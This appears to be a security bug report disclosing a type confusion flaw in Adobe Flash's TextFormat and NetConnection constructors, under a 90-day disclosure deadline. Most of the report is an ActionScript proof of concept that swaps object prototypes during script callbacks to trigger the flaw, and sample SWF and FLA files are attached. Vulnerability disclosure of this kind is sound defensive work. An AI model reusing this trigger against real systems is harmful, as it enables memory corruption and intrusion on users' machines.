There is a type confusion issue in the TextFormat constructor that is reachable because the NetConnection constructor does not verify that the incoming object is of type Object (it only checks that the object is not native backed). The TextFormat constructor first sets a new object to type TextFormat, and then calls into script several times before setting the native backing object. If one of these script calls then calls into the NetConnection constructor, the object can be set to type NetConnection, and then the native object will be set to the TextFormat, leading to type confusion. A PoC is as follows:

In the main SWF:

var a = new subtf();

var b = new NetConnection();
b.connect.call(a, "http://www.google.com", 80);

Defining subtf:

class subtf extends Object{


	public function subtf(){			
	var n = {valueOf : func};
    this.valueOf = func;
	this.toString = func;
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = TextFormat;
	super(this);

}

function func(){
	
	this.__proto__ = {}; 
	this.__proto__.__constructor__ = NetConnection;
	super();
	return "natalie";
	}			
}
	
A sample SWF and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

tfc.swf 1.5 KB Download

tfc.fla 7.6 KB Download

subtf.as 464 bytes Download